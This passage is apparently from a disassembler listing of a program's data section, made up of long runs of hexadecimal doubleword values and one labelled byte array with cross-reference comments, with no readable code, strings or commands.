0B00FE4Ch, 71C55D8Bh, 0A82B91h, 1674ECFFh, 9BBAE292h dd 41F20B00h, 0C79DAD8Bh, 0CE5A00AAh, 0A9184FA6h, 4D00F995h dd 0E75D632h, 0E6084E0Ah, 8B1907C6h, 0D08EEB7Dh, 1657F46Dh dd 947E3207h, 0D40B3F1h, 0F0E0B65h, 0C4BF21AEh, 5CA8F840h dd 3C0068CDh, 6AF3D9D1h, 0B2863Eh, 0DE27BB8Ah, 621C45B8h dd 151EAC02h, 40A4A598h, 48F9FBD2h, 0C33C14C1h, 976301F6h dd 6630FACDh, 2C6C80E0h, 63B0875h, 4AFD030Bh, 3FB5F160h dd 0D44C7DFBh, 0BC210E66h, 0E9022023h, 101779Eh, 63C20DF1h dd 0C8DE49AEh, 0A700AD3Bh, 70074F6Dh, 39FF6144h, 798029FBh dd 53C5F6A1h, 0EE0074F3h, 6F1ECFACh, 1669CEAh, 0DF5BB816h dd 0EC13DA93h, 0FA1FA0E3h, 0DB4E0A28h, 71EF2039h, 78435C92h dd 2DE00Fh, 8C0C4D72h, 0D0CB6562h, 57243Ch, 6483E9C9h dd 2939425h, 0E2A55F48h, 9CC0A1B1h, 10F44108h, 8D9EDE00h dd 86A7B545h, 23130005h, 58C42AB3h, 84008CB1h, 45AFB72Ch dd 912BCDh, 4FCBE099h, 237E59E6h, 760050F6h, 7D4A4E56h dd 673BA6h, 1629245Ah, 0A2D26986h, 760A000h, 1650BC9h dd 21DE0FCBh, 0C1C7E23Dh, 5587505Fh, 0DCFBF6A9h, 691B16C7h dd 0A0BA9907h, 0B32877h, 0DD613EFBh, 40F5AD65h, 861CDCEEh dd 438FC1D3h, 0EBE4802Fh, 559C91h, 35F59025h, 3B9D502Ah dd 87F0F300h, 1ED8BA7Ah, 0C430010h, 17185C79h, 63F8A2D6h dd 5170E600h, 2928B8BCh, 1B3407F8h, 0B035EE4Fh, 0B472FBBEh dd 0B22BC907h, 8A10977Fh, 102A899h, 4CD3EE8Bh, 43A621C3h dd 74B0B5E4h, 0D400B27Dh, 0C123AB77h, 94954Eh, 0D75F6B06h dd 40260ECEh, 0BF256F03h dd 0E1FE3016h, 0E03EEE05h, 743ECEB3h, 0CDC08044h, 306EF4Dh dd 183300DFh, 1660CF5Ch, 0C2F007E6h, 9B0047F6h, 5A6FE4D2h dd 0A19DA4h, 4A1AD311h, 3A469006h, 4CB99607h, 3930FC3Eh dd 56997Eh, 9FCA2A59h, 57153318h, 808C2600h, 0E2FD385Ch dd 75ED0007h, 7EA71135h, 66004E05h, 0A22E9B63h, 0B2C7D6h dd 6AAD4E0h, 5EB06BE7h, 0D815ED00h, 139E4C23h, 0EEA403A2h dd 0D96641E2h, 0AA071DD8h, 96212200h, 0A2B1D0FCh, 6F98B3h dd 0C5CE247Dh, 5D53890Dh, 9C6F9B00h, 148565CCh, 26EA001Bh dd 32DFD743h, 28005F08h, 9113F490h, 0F4AD8F86h, 0ABCC039Eh dd 119B8093h, 0C244A7A0h, 0E0388100h, 28A3E8D7h, 2EBC3946h dd 50071FF5h, 11AE4075h, 16192BE6h, 0C3E57800h, 26B1939Eh dd 1CF32C7Dh, 0BEDD00B8h, 96E61D7Fh, 0EB309200h, 5FAD3534h dd 4DF3073h, 149BEC38h, 581AC602h, 50627B24h, 76540954h dd 1D815EB7h, 80CF6F7Fh, 1B389D31h, 0D1DF0Ch, 0DCAC6B75h dd 0D61DEEEBh, 0E80ED9E8h, 0A0DB6E6Ah, 0D5368B4Ah, 0A51300BDh dd 0F6A74E74h, 7F3B85CAh, 0BAAE8258h, 0FD5E9498h, 0DE3602E0h dd 2A18B514h, 31C200A1h, 0E71307E4h, 3A94058Ch, 800AE0ECh dd 877D6D9Eh, 0FBD40C00h, 85425E91h, 2F0800C7h, 0B227A347h dd 0A77F35F6h, 0D1EEDEEEh, 0C1A98503h, 0B06D0A5Ah, 394ED6FCh dd 0E50021F7h, 0F54A3B91h, 82732039h, 908C8D07h, 27108F3Eh dd 0B1D4DCh, 6947EF6Ch, 0C875A3F4h, 0C01BAA26h, 7D1E6E00h dd 0E63667F5h, 423004Fh, 0D7849FD8h, 0E0061AFh, 31BA2801h dd 12E4E6CCh, 0B94010h, 9A20A469h, 9E7633D4h, 9487D103h dd 0EA0C0444h, 1400FFD3h, 0B42B4979h, 0E2DE3100h, 1A8C81C3h dd 442E00F4h, 0C2D112Ch, 921F69E5h, 1FDC9DFh, 64E7E4ADh dd 34F0654Bh, 0A100043h, 0FA68AEC3h, 0E1F6C47Dh, 45A7A807h dd 3E50F920h, 7807EE59h, 2F9C00F6h, 75F7BCF1h, 5690FF7Eh dd 1D560600h, 0DA4976A4h, 386479ABh, 0AD0FDDA0h, 1BE0EFFBh dd 0D5F19EBh, 80E52F3Bh, 3F5C535h, 8277Ah, 3C67620Fh, 0BC3961B9h dd 0F2BF0C00h, 185AD496h, 0A46F00EEh, 8A0B8E1Dh, 48004C6Ah dd 0AE88BD7h, 3259914h, 0D3A64641h, 93A75283h, 0FECF8E3Ah dd 80E2F484h, 861D4AEDh, 92CE8B00h, 0BB5AB487h, 470D0FD7h dd 50801BBEh, 28126870h, 4D734F00h, 0D70CF81Fh, 345E0299h dd 1AE3443Ah, 0C3B1C4C0h, 1D4C8200h, 0F0CC1C0h, 181F461h dd 1B70CE8Fh, 0C037A9AEh, 0C200B9BFh, 34AFACA5h, 79047FAh dd 0CC1D4D66h, 0DE5D0355h, 5E54FDC0h, 3EEE3100h, 0E1B32B3Bh dd 0CAD3002Dh, 0AA7C8DFEh, 440FA25Dh, 0E7B23009h, 6450A10Dh dd 346B475h, 7917878Ah, 34C0DC3Bh, 0A207C433h, 22CEC81Fh dd 0F691D910h, 8CF400BBh, 78FD4963h, 150024BAh, 32101D36h dd 8F79F5h, 0D39302D4h, 0BF9B312Bh, 18AF040Fh, 0FD4BA087h dd 1EF03B7Bh, 4F0F0108h, 77839BF8h, 5E90C15Ch, 4D7404B8h dd 0D6009C79h, 10D48261h, 35A4AEFh, 0CE94B59Ah, 0B9B0EA5Bh dd 0E9009EC8h, 7802D601h, 187D25F4h, 29494115h, 9A0E3BF1h dd 0EEDBD9D0h, 2412E771h, 36FEF3B0h, 1BC60006h, 51E2145h dd 27009AAEh, 0A9D5DA13h, 13F567Ah, 0D91F9462h, 200EC838h dd 7C0011A8h, 0BC820DBEh, 0FFAAB0h, 16EC977Ah, 8133D340h dd 6AEA0600h, 72767B1Ch, 981E0057h, 357CC9B3h, 63005458h dd 0AC9945D2h, 7768Ch, 933882Fh, 0F83B287Dh, 0C2734A00h dd 1343B437h, 0F6D100C1h, 50F2D54Bh, 0C579566Bh, 0E321CA00h dd 31835BECh, 9BA5004Ah, 22EDB6F5h, 500F8BFh, 71422B06h dd 0E6B94123h, 2670B14h, 0A601DBB6h, 0D8B3D18Eh, 4B041B84h dd 0EEE05C4Ah, 97B7480h, 76FB008Dh, 0EBF1BB7Ch, 0CC00692Eh dd 6C0B9CAAh, 3E42C06h, 0B981ACD2h, 0A9C0A071h, 55EA1776h dd 83001A70h, 0D7B06977h, 72AA23Ch, 6F4436E8h, 58C8F089h dd 7807D1F2h, 183F5384h, 49707577h, 6CF9FFh, 0AE2BA59h dd 550189F3h, 214F5600h, 7C63DF44h, 0CEAB0033h, 0F0A8CD06h dd 2C036B84h, 7DB10FFh, 0C1D4B871h, 77040018h, 6E4F2757h dd 61005FF3h, 8730532Ah, 38E7C5E1h, 1E001D8Bh, 6A9F4282h dd 0B70018F8h, 0E096655h, 1E49456Eh, 809ACA64h, 0A05B3DFEh dd 691476ADh, 1CB07A9Dh, 0AF40247Ch, 2ACCD450h, 70F900B3h dd 594015B8h, 460EB107h, 0E08325E0h, 74097D84h, 0BB9D00C5h dd 923212F7h, 7A03DD98h, 0F01F39CAh, 6794806Dh, 1FEE1h dd 0DE193237h, 7C7446DFh, 8BFE001h, 147753A5h, 0D1F01ACDh dd 81B00067h, 591DF86Fh, 8F06D42Eh, 2F3E9D90h, 40FA0072h dd 0B106B64Bh, 0D0B5E80Bh, 668F03BEh, 0C3877E1Ch, 4CDCC6D8h dd 17F7BF01h, 4AADE2ACh, 336A91CCh, 0D8281A81h, 34B03AB0h dd 0B9BCDF01h, 0C5EC30E8h, 0F713880h, 77C95D54h, 905B9D00h dd 88336BA1h, 797503E3h, 569BF283h, 0BBA025E3h, 0DA71E817h dd 6591F00h, 5B7E6F8Dh, 159C0085h, 0ECBC7F19h, 0C800AF4Fh dd 3F667C2Ah, 7AE887A5h, 6FFB00ABh, 31C542FFh, 0F600237Fh dd 91652B39h, 0B0692F44h, 0CCF223h, 5A4EC694h, 155CA47Bh dd 47FFA701h, 39B11838h, 0F4E4A5D1h, 5275070Eh, 0E04D70DFh dd 0DADB5ED7h, 0DC739D00h, 99F077Dh, 0E3FE0244h, 0E0BC1916h dd 0E26D62E0h, 5FA5DB0Fh, 60BFAF6Bh, 20B4D660h, 2B70C054h dd 0E715EE2Fh, 803081C0h, 6E2359h, 534EB8C7h, 0BADE2AF5h dd 0B000C07Dh, 243A0D25h, 0EC9F163h, 47018C2Bh, 59737141h dd 9E836062h, 34796507h, 9FB092B1h, 0D4C7C4h, 51AD7628h dd 0F04CB9C5h, 3E716800h, 665F8EE4h, 987D07EFh, 61AC343Dh dd 30BE4A06h, 720790ADh, 0BFFCC47Ch, 303C6950h, 0C8855019h dd 7ABBECA2h, 5ACB1CF5h, 4849800Bh, 56FCE779h, 0F600E190h dd 2CC7A15Dh, 30C7B53h, 0BF6BC1CCh, 0B5E81585h, 0FA481AFDh dd 5EA400A3h, 0A057AD29h, 42CC00CAh, 364C6331h, 0A60F929Dh dd 0E127B57Bh, 0BEC956CBh, 7308083h, 499B7F3Eh, 0F82CEDA0h dd 5BA1200h, 5B75AF9Ah, 8AEF0065h, 5F024997h, 0B7007C2Fh dd 0D872D656h, 3240770h, 0DE32A8ACh, 3D99F579h, 40B44196h dd 202286h, 71D3414Eh, 166002h, 2CDD1584h, 46962E9Bh, 0B02B9401h dd 35AAE861h, 0D8DCDFD9h, 29CE00D4h, 0BE5986F0h, 8D0062E5h dd 9714977h, 7ABA7C7Fh, 0CDD10087h, 1A95253Eh, 1C03B252h dd 3D17129Ch, 0E0F09FEFh, 0D541FFh, 0A5F806B5h, 0AF37F3BEh dd 0DCB26C00h, 11174B7Eh, 0F65DF6E9h, 329900F4h, 6BC42ED3h dd 52C9A43h, 1617BA76h, 0CB52D603h, 0E896C82Bh, 223A0E68h dd 90404CE4h, 0B0492C62h, 89A44A1Ch, 1FA35F01h, 2620376Ch dd 0F8B52653h, 0ABBF000Ch, 0D9451B0h, 92C1561Fh, 0E2377800h dd 0EC4A4Ch, 0AE856DC8h, 19367A7Fh, 64B80D07h, 9D60DFDAh dd 38DF4ABh, 25B175CCh, 0E2FB03E7h, 0F8498289h, 5B3F6296h dd 2677BF0Bh, 0FB07F525h, 0B8B12914h, 9BEC7298h, 0CB400A4h dd 796B641Fh, 100774C3h, 203E0FBEh, 6904C120h, 0A3B2001Dh dd 7725EB4Ah, 0FC004D10h, 1F192CA5h, 0DAE575h, 838BE88Fh dd 33BBBA7Dh, 0A395EF00h, 0FADC52DBh, 0ADF01F67h, 0F8F600B6h dd 494D234Ch, 50056E05h, 41C01639h, 98FF29h, 0A3DAA936h dd 0F00DB169h, 0A1223300h, 264A90C1h, 0E2DB398Ah, 5F087C81h dd 0C892FB2Dh, 4514F4B2h, 8541C5h, 0C7E902B4h, 2E0633A7h dd 0F9398h, 43C1EF5Dh, 0A507D112h, 0D22749BFh, 0EBE1BE70h dd 0A3EE0080h, 0B2890A6Ah, 2CE08C54h, 0E4FD0871h, 0DE00A1AAh dd 11569643h, 295434h, 0B6BB914Eh, 57FC9C23h, 0E9229403h dd 804CB4C2h, 1D4032BFh, 8020D8B1h, 0AFCB806Dh, 4CF48C76h dd 83AF517h, 5A245E07h, 895232E0h, 4D590038h, 5F5E9006h dd 74016669h, 6F7E536Dh, 9609747h, 2A8D00C7h, 0B7E83E05h dd 0FD586E87h, 0C1950569h, 3B80E4CBh, 115308Dh, 0E0BAF10Eh dd 30109AAFh, 0B4985DF8h, 218BF400h, 119DC08Eh, 0B83C384Eh dd 0E36707F9h, 0F1F675FBh, 0E0B2122Dh, 89003A8Ch, 87A72C02h dd 98FBF117h, 0EE0D00B2h, 8508C97Dh, 0D20172E1h, 3FD329B6h dd 40FE9F99h, 0C40BE0h, 720A4A54h, 0E19ADA44h, 9C36372Ah dd 0E16348h, 886204ECh, 18126h, 0F95CE874h, 3B12BDFEh dd 2F0F0E0Fh, 0FDA98061h, 2C20CEEBh, 0E8E3C68h, 0D12E0385h dd 0D0C84300h, 7648EE12h, 49AB0010h, 69673819h, 24E000F6h dd 61A3AA2h, 53001293h, 0B73364C5h, 0FAE678h, 905FF847h dd 4ABB8A5h, 69F16B09h, 4D9401F3h, 5FC79DFh, 2BC0083h dd 0BDA9011Bh, 96006F2Fh, 4AAB683Dh, 7D24DDh, 7F0CEF48h dd 0EE9D6DF8h, 17E7751Ch, 10A29840h, 54A7EAh, 0E3AA9CE5h dd 0DFCD197Ch, 3F3DD91Eh, 7E8C1EC0h, 854076h, 0EC32283Ch dd 0C9CFBF49h, 80868D3Bh, 0B89CDAD1h, 70BB4F3h, 0E1FC2004h dd 0DFCE2070h, 4F01F7CCh, 7D4AEA81h, 2130AD4Dh, 0BB8C26B0h dd 237400BCh, 0CC9D1C29h, 80E0C63Fh, 60E9F45Ch, 0FD696Dh dd 1FF58622h, 2878CEDFh, 0A58858h, 0BE65E85h, 0EE7AE8E9h dd 8630073h, 0EDF73296h, 0A9260784h, 0A885BC4Fh, 0EC0E7561h dd 0D86640C0h, 0CECC229h, 0EEC4CED7h, 0E00DB18h, 87DCB42Ah dd 0C172643Bh, 0A5AC5331h, 5848807Eh, 0CEE5E9CAh, 102204E1h dd 0C085B1E0h, 0F2622528h, 0AD0D1D01h, 0DFFEEA8Bh, 573F70h dd 0FFDA5BB9h, 0CD56D36Fh, 750FFB0Ch, 0F85E5054h, 0B9ED0071h dd 0B08476C7h, 0F80063EBh, 0AE87CD1Ch, 0E4F04ECCh, 77FF0061h dd 0FEDEE8A2h, 6E025C3Bh, 0CD5376BFh, 0B2DAE0A6h, 97C0C09Eh dd 8720ACE3h, 0A34D2186h, 0E524C200h, 0CF796Eh, 59543852h dd 2CA1CA1Fh, 34038607h, 0E340A3DDh, 498593h, 5F512F7Eh dd 82CCA2D0h, 9F150600h, 0B7274413h, 3DEA0320h, 2B921170h dd 80FDC1B3h, 7FD0CA2Bh, 43350600h, 0CB30692Ah, 0D74F0008h dd 4AB6FFADh, 0A800EB3Bh, 320FE16Dh, 7AC86125h, 2ABC8Ah dd 0F923C04Dh, 0F3FAE40Eh, 0F67E0500h, 0CFCE47B0h, 5A5400C5h dd 5B512560h, 2F01E08Eh, 1742AC0Bh, 0F0F9D591h, 0FAF9E1F8h dd 480C0003h, 0C692CCD8h, 31007A4Fh, 0DB8613B6h, 5D6CBEBh dd 4EA89976h, 0AD98408Bh, 0B7E9EF0h, 571601Dh, 0A3E15783h dd 0DB210044h, 59DDED88h, 7F0FB6E6h, 84B92FD8h, 800A8D35h dd 63E100ACh, 0C9E06111h, 0FD0984F0h, 32735Ah, 4B097BA0h dd 30866165h, 244D3999h, 14003054h, 606C11DBh, 16791Ch dd 0DDE50DFEh, 73DAA1BDh, 3887A624h, 0A0F96E00h, 0C5A8B1h dd 0C330D134h, 0FC04D568h, 23EED901h, 551DCA7Ah, 54081D0h dd 7443722Ch, 708090ABh, 1C3E03DAh, 132A9626h, 0FDDCA600h dd 7FAF4CEh, 0E341F6BAh, 4A5D007Eh, 6C003022h, 6DA3B904h dd 9CC010h, 4BED7F7Dh, 1AF0D66Bh, 0DD21F30Fh, 9ABAC0F2h dd 137315h, 925EEAE2h, 7CFEE7CEh, 59E66D07h, 71456FACh dd 0B8EADD00h, 8F2657h, 7F167A70h, 0DA2336AEh, 9047F900h dd 8C4DEEACh, 9F7200A8h, 0D6D46D80h, 197824D5h, 747E40C0h dd 1B0C0CBh, 75399C36h, 0D0134C0Eh, 20D8F94Dh, 3C8EC0D4h dd 0C48197B6h, 1F1C63ABh, 7EA08980h, 7908013Dh, 70BA8EBDh dd 72B0703Ah, 84E07EC1h, 10FCE900h, 0DD6C9B51h, 18F52AD5h dd 0C02E0440h, 63143683h, 0F541016Fh, 1FD8C09Fh, 609CE119h dd 72678D90h, 6280E948h, 0E06C9A93h, 6F880016h, 8B3FE670h dd 6B00B868h, 32FF6D48h, 0BB9F94h, 0BE2D1609h, 95A91F82h dd 44D0AA00h, 0FE8E56B0h, 3F575E6h, 6D367967h, 26B0FDBBh dd 0F800FFCBh, 899854AFh, 0D35CE1h, 0B2D25B86h, 96B1F184h dd 0D90134F8h, 0BC60E376h, 12F4D194h, 0C7800037h, 0E1642679h dd 0F41E3F3Bh, 0AA006FC5h, 0FC320335h, 9B2F001Dh, 75648268h dd 0A16055CFh, 9F06E840h, 461D089h, 18A2A2B8h, 87E0417h dd 54CE20EAh, 8A56007Fh, 1DF3E82Fh, 6BA43D00h, 399F6C22h dd 0FB16004Bh, 2DBB95CDh, 9D5FD799h, 5E2BE0h, 944FD5Bh dd 0A6104FE7h, 6E9950C0h, 1FAA0B17h, 792A2Bh, 26FFA91Ch dd 46009BFCh, 2CFE6693h, 51B2BABh, 325102FAh, 8F2038A6h dd 0FB001D46h, 3994427h, 88DE06DFh, 55BE9606h, 0CB892CC8h dd 111504C7h, 82848718h, 887E406h, 4FAE80D3h, 510016EDh dd 6FF9FC8Dh, 0D59823h, 0FEAF27Eh, 0B906A76Eh, 9601FAECh dd 89A23E04h, 88E191A4h, 0BADC6080h, 41307B17h, 0F10A0400h dd 71D77FFFh, 98465029h, 1C42B0BEh, 940FEB27h, 7001B421h dd 8F7701A2h, 5BB7C0FAh, 0C40773FEh, 9FE591D8h, 1BB661CCh dd 0B00FEE1Fh, 62BA1019h, 205181B0h, 0F8F3BE22h, 472A6EDFh dd 0DB9A9D92h, 592010B0h, 8E9C0548h, 6CD73A2Ch, 95019240h dd 5178E98Bh, 0B5D847D2h, 3A8700D0h, 4A8FDCEh, 316135E8h dd 0A25D5818h, 3BE1BAF0h, 10EC6193h, 4A1E7741h, 0B500328Eh dd 10A3E59Dh, 0E61E009Eh, 0EE1D1275h, 1100CFC6h, 5DB553AEh dd 1F6189B1h, 3C49FF9h, 2E5A7A79h, 3A8F37C8h, 0EE02E179h dd 783EECAFh, 0A74C1011h, 46983204h, 0A27C8E06h, 0F25B040h dd 0D3E61FA8h, 0FEBA5DA0h, 7400E8BDh, 0C0047A40h, 639F67F2h dd 5279198Ah, 0B5FFC0E4h, 9028E66h, 0F65AE651h, 2320B0AAh dd 0B14B428Dh, 40E81C2h, 89B972A9h, 0BB88E601h, 560F0EE1h dd 80118D93h, 1C5439ABh, 3562328Bh, 209C5C80h, 0A0590211h dd 4C8080D8h, 4185E0F2h, 1C8B2E5Eh, 18407B48h, 40D4D197h dd 1084A14Ah, 0C2E689D3h, 38A2EA22h, 590A3EFBh, 40DD74E4h dd 2BE596F0h, 220B601h, 0DF232D81h, 0E0E21515h, 0C676B204h dd 0FA6081D6h, 2C29C85Dh, 0A8009DF0h, 3E061265h, 1342F237h dd 7EF1B81h, 375D6A8Bh, 11D9C032h, 0C700F7E5h, 4536B7CFh dd 14DD5912h, 207AD0B1h, 0A4248EC7h, 3D102A6Ah, 78FBE0CCh dd 0BC1F23DEh, 0EC3CC1E4h, 85FFB908h, 0F81DD6BBh, 0F0489842h dd 494254ACh, 0DA4617C0h, 0B457FF88h, 20318A60h, 894B058h dd 69BDB857h, 50FF5F1h, 80AF1C52h, 43396078h, 0F8E881DEh dd 205EAE21h, 8B811D30h, 0AA018952h, 20D63739h, 0A8337D55h dd 870E12h, 26144237h, 0A89B3641h, 65324E62h, 0AF4030C8h dd 6C23FE0Dh, 2C62E454h, 1D870272h, 53B6E09Fh, 30B6213Eh dd 21D3E04Fh, 0C2072FCDh, 9F0AC280h, 8B1A211Eh, 7386B940h dd 0C74321DAh, 604B4A51h, 65405407h, 0DEF948A0h, 0DA22000Bh dd 0A98DE482h, 9F20AD3Fh, 4168AC32h, 139FE666h, 1468EA3Ch dd 8CAEFA01h, 8F0F1697h, 0BD36081Fh, 6340ECEBh, 6185A07Dh dd 0BED7286h, 0E099D104h, 1A212A08h, 0F617A7E0h, 0C58E4729h dd 6028C3AEh, 0CB181036h, 0A74AA80Ah, 9AA8580h, 0CA08CA43h dd 405A601Eh, 0AF353313h, 41921840h, 0B52449F3h, 2005E4C6h dd 2C9871A9h, 15400247h, 35328312h, 4163C3Eh, 514CAAACh dd 91D6D850h, 0F20820AFh dd 1C4C260Dh, 9BB9012h db 0A7h byte_530055 db 0BEh, 0A8h, 0B8h ; DATA XREF: ___:off_437A2Co ; ___:off_437A44o dd 2616DD48h, 5488BD40h, 40DE0121h, 8DB646B3h, 50110921h dd 20A5D785h, 0FC8C5401h, 405BB5A8h, 23758903h, 7F97F51h dd 41E53047h, 1549A01Dh, 41B4E40h, 735AF622h, 0C51D0372h dd 44B39CBCh, 51D81800h, 0AE3E3B09h, 0F0DBFAFCh, 0E8D0555h dd 20AFEFBDh, 0EAD15C20h, 41A1D742h, 88020E90h, 0AD1EDE32h dd 4019523Eh, 437F66C0h, 888FBB37h, 3A508FEDh, 7CC31CE6h dd 0F151E15Fh, 710E204Bh, 0BCE8B8D0h, 0B85F9h, 61E0E698h dd 8FA8A221h, 0A0F0DD90h, 6E11E214h, 89E2538Bh, 0E6800216h dd 35AB6A66h, 0A110A095h, 69C001B4h, 0A6DA9F3h, 28903584h dd 0A9E605A5h, 78DD60A0h, 0FD3CCD20h, 9200463Dh, 0D5C1105Bh dd 928FBCD6h, 82202D79h, 2821B140h, 0CD0815BFh, 0FE837006h dd 1F3531EDh, 20D12BC0h, 27E62A80h, 911098BCh, 6E55040h dd 63BE0187h, 1FA890B2h, 60016114h, 0ECB52BA0h, 0A2C0DC52h dd 76809EF5h, 0A0525244h, 4E0739B1h, 21AB0580h, 0A02A6CCEh dd 2DE0E921h, 85153AC7h, 402C3D45h, 636A14C7h, 1A8A0A1h dd 322341C3h, 2E5DB0C3h, 6F82071Bh, 0FFFA1AFEh, 0B313CA01h dd 8E5420FFh, 0A742AC0Ch, 22DE5106h, 0B01C6419h, 0B402EBBh dd 1DB56DF3h, 2D680F5Ah, 7CE3099Dh, 381E4277h, 139851DCh dd 0F3F9988h, 0A217851Eh, 0BE364681h, 3778EC4Eh, 79965B0Fh dd 0AB8680BFh, 49E2CFh, 3E1DA211h, 0D2BE10A4h, 9F2F973Dh dd 3B0013FAh, 0BBC35267h, 31997CDDh, 6631F809h, 0A720DA2Ah dd 80145EFCh, 6300FF81h, 0E9C2D73Fh, 6789B9Dh, 0A9EDD68Fh dd 0B030A241h, 1B2650A0h, 7896035Eh, 5872D20Eh, 2ABE1B8h dd 0C4851500h, 4224C968h, 3E1E0022h, 1294E656h, 4600A162h dd 19AA2A88h, 4788DC9h, 6A8E5EBFh, 0CCB1065Ch, 9CF8E8h dd 0A815253Ch, 238C5526h, 0BF447E03h, 0B3337F34h, 0CE301D4Eh dd 8DC70353h, 207EBA77h, 220EC903h, 90C488B1h, 21B302h dd 0A05EBE7Ah, 74C21AF4h, 3CCF5C00h, 0E54BD13Dh, 20BB00C8h dd 49ABC6EDh, 0C330EEFCh, 7F5808Ch, 9CE450B6h, 0AB8400A3h dd 0C10CE54Dh, 9000D0ACh, 0C207B297h, 5CF417B1h, 0C900CF85h dd 0F49B86Dh, 710FB9CAh, 80919A40h, 907C17A3h, 0A4285210h dd 0BECF9700h, 2DA575ABh, 27967918h, 28337B18h, 729098B0h dd 7CFE006Ch, 4867B524h, 4639C60Fh, 5FA08066h, 0E42FF7Fh dd 9B882AB3h, 7F9F2A8h, 0B24B2697h, 8E018882h, 0A160E612h dd 33BB2886h, 1003192h, 9559EF66h, 91EEBDDh, 61A8280Fh dd 7FF1000h, 16022DF6h, 0FCAD22A2h, 42D0A738h, 7832FCEAh dd 80D7299Eh, 48B0590Eh, 60100A4h, 0DD941D17h, 3B524777h dd 724BE8A8h, 457801F9h, 0E40219BFh, 53F0407Eh, 0E7754CC4h dd 0F005CF8h, 0EE61EBBBh, 7EE0F907h, 7C8D1E32h, 7C3DB5h dd 60E49155h, 6F3A39E8h, 0AAC07501h, 33FFAEA9h, 1B4C4BC4h dd 31B73B79h, 0C084E093h, 0FE3117C4h, 180A4A33h, 3A9BA035h dd 0EFB73E9Ah, 0D708407Dh, 60F23F18h, 1DA27580h, 162C4B4h dd 0D35D3D9h, 0CB2182B3h, 80DCE47Dh, 0F50F7550h, 5C731F77h dd 0E3A68053h, 0E5DD6A7Bh, 82D3400h, 4B84132Ch, 51CE3AD9h dd 400A23Ch, 0ACC47E14h, 0D030D73Dh, 1FCE192Dh, 985900A3h dd 7310C79Ch, 0D400F3DDh, 0FA483F39h, 0FC3FE7Fh, 8DBF427Dh dd 0D3F8D603h, 0DFA8D18Bh, 43FA737Ah, 0A7A5F600h, 3EFA85B5h dd 0EFC30048h, 32C149A6h, 0B6666CE8h, 688A6Ah, 0DFA32E15h dd 8457D3B9h, 80473C3Eh, 92BA5B8Bh, 49CA5h, 0C9A6CC12h dd 32840A2Ch, 0BF5B80C0h, 0AB9AE2h, 0A9F7FCCBh, 0C9418803h dd 0D30D0B1Ah, 0DF44C048h, 0D0CF6139h, 0F0EE5904h, 9D0CE692h dd 195A0CABh, 0B20F07FCh, 0C3427AFBh, 3CC0C3E9h, 2EF05C3Eh dd 0B8E03670h, 9E792B71h, 0F37AD103h, 195AFF0h, 0D6F97310h dd 414667F1h, 0DCEF6980h, 9800DBBDh, 1747A4C2h, 5120D7h dd 3EE8F4D2h, 0D26BC9Ah, 0AC3DA128h, 0C88A900Ah, 6F87BC5Fh dd 30CC8BC0h, 0AA5BF88Dh, 5FC1400Ch, 28CBF89Fh, 180C5AB7h dd 31504D4Fh, 0A77C9353h, 5EAD0D1Fh, 9DD13243h, 10D2C397h dd 0AFF17B8h, 8041259Bh, 9F6D7F85h, 0B7ABA001h, 3BE9DF13h dd 0A19C8043h, 80FEFFCFh, 4FF02FA0h, 10757DA0h, 613ACC3Dh dd 9F587719h, 11A71701h, 90E7E7A1h, 28BE0F9Dh, 39CC6A49h dd 8EB0C556h, 310D27D8h, 95849E50h, 8DF18A11h, 6415007Ch dd 13CE476Ch, 24AE49CBh, 19DCF436h, 0C7801F48h, 2A90104Fh dd 6F018471h, 332377D8h, 304C8DD1h, 2D3D0F06h, 0CFE9A15Ah dd 40F70C07h, 8E44DF12h, 10807A52h, 0B78EA745h, 4FA3464Fh dd 0E7C1F1D0h, 0E5A84096h, 0FC28228Ah, 104A49Ah, 7027FD3Ah dd 0D8600341h, 37898E87h, 5B146543h, 0D865E84Ch, 0C0B8605Dh dd 0A3BFA41Ch, 0E8C46CF6h, 3087448Eh, 9F413CAAh, 400875A0h dd 8489A821h, 217A466Ch, 0B182243h, 62302148h, 30C78D79h dd 0AD00073Fh, 60D450BDh, 0D62FCDh, 810EC5D3h, 3A30961h dd 54005BF0h, 571DA1B2h, 0B090D1h, 0CA7DB723h, 0D692D29Eh dd 0B3DF0603h, 0CBC70FA9h, 656FE847h, 0F50C0F39h, 57E0349Eh dd 25C2BDDEh, 1383B604h, 86BEAE12h, 0DB223183h, 1B20C66Ch dd 4B0098FCh, 6D7CB93h, 0ABA8A767h, 0B5AF9330h, 28D71806h dd 40930051h, 0DA54D32Bh, 32010CC6h, 0B2F2A689h, 6048137Dh dd 0A51F2109h, 0CFC14308h, 0D36267C8h, 2EC12E71h, 432F319h dd 61F19C44h, 0C9FA961h, 56122105h, 0A40E7184h, 3C985B22h dd 0D52236F7h, 740B2341h, 0D8FFD30Ah, 55499C83h, 468009Bh dd 0B1A88348h, 38C4374Dh, 0D7615797h, 7958521Ch, 42496538h dd 1071112Eh, 310DF184h, 0C458ACB3h, 946D53ABh, 883C3329h dd 0ED62D63Bh, 9B9D202Fh, 67314149h, 35BAC004h, 8D1030BCh dd 38F989AFh, 4262E548h, 0AC2D2904h, 3805B112h, 0E8061A09h dd 10313B0Dh, 85013921h, 6C2011B9h, 84A52E99h, 0DB60EB49h dd 6C09B57Ah, 0A60158Fh, 62DC356Fh, 18B648BBh, 0C511F714h dd 9C932B30h, 848A0F8Ah, 0CBA88D67h, 6FD83A08h, 0A5C11208h dd 83089EE1h, 0DB3F108Eh, 482384C6h, 0C271F61h, 4D3CA63Dh dd 318A08D9h, 0BCB9613Ch, 8E7308A4h, 42CED73Bh, 6826E71Ah dd 631B3C02h, 61724466h, 0A099218Ch, 63C1D94h, 156FCBB6h dd 9CFC8111h, 20E52C20h, 0BB440398h, 6CF5547Bh, 0D8EB2021h dd 49E6EC0Dh, 4442716Dh, 7FD88203h, 0C89327CDh, 60B06B0Ah dd 0FF083849h, 0B92386F4h, 66890462h, 38ED2204h, 82429A91h dd 8A9C7F2Bh, 65D8DD8Fh, 4F3C33B7h, 616931BCh, 4A203D18h dd 2FA4002Eh, 374B30CAh, 3E7E7A0Dh, 380916B0h, 218960D1h dd 1C9B3ACh, 9D872080h, 0CB6AD861h, 5C7211F8h, 0C0413B30h dd 73A0CA4Dh, 0EC3530D2h, 1C6FCC51h, 34D87961h, 2448C8B1h dd 84DE4CBh, 12A8170Eh, 631EC542h, 0A09810C8h, 0B1186428h dd 58A03522h, 3842DFA5h, 580E6C30h, 0C44B628h, 59601B86h dd 0E5120D10h, 0E44F3706h, 19038C1Dh, 0A2CB0F83h, 310E7695h dd 2D3919A2h, 729FA882h, 0AF558800h, 5830C004h, 96BC5219h dd 